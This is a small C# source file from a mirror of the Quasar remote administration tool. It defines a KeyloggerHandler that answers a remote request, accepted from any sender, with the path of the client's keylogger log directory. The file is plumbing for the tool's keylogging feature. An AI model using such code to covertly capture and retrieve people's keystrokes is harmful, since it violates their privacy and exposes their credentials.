mirror of https://github.com/quasar/Quasar.git
29 lines
810 B
C#
29 lines
810 B
C#
using Quasar.Client.Config;
|
|
using Quasar.Common.Messages;
|
|
using Quasar.Common.Networking;
|
|
|
|
namespace Quasar.Client.Messages
|
|
{
|
|
public class KeyloggerHandler : IMessageProcessor
|
|
{
|
|
public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory;
|
|
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
switch (message)
|
|
{
|
|
case GetKeyloggerLogsDirectory msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
}
|
|
}
|
|
|
|
public void Execute(ISender client, GetKeyloggerLogsDirectory message)
|
|
{
|
|
client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH });
|
|
}
|
|
}
|
|
}
|